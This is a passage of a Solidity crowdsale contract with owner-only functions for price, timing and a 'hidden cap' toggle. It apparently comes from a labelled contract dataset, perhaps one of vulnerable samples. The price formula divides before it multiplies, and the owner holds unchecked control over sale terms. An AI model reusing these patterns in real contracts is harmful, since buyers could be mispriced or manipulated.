token.transferFrom(allTokenAddress, msg.sender, tokensToSend);
totalTokensSold += tokensToSend;
}
function ChangeUSDto1ETH(uint256 _USDto1ETH) onlyOwner public {
USDto1ETH = _USDto1ETH;
ChangePrice();
}
function ChangePrice() onlyOwner public {
uint256 priceWeiToUSD = 1 ether / USDto1ETH;
price = priceWeiToUSD / 1000000 * 27 / 10 + priceWeiToUSD / 1000000 * 1 / 2 * ((now - startTime ) / 604800);
}
function ChangeStart(uint _startTime) onlyOwner public {
startTime = _startTime;
}
function ChangeEnd(uint _endTime) onlyOwner public {
endTime = _endTime;
}
function emergencyAndHiddenCapToggle() onlyOwner public {
emergencyFlagAndHiddenCap = !emergencyFlagAndHiddenCap;
}
} | 1 | 4,391 |
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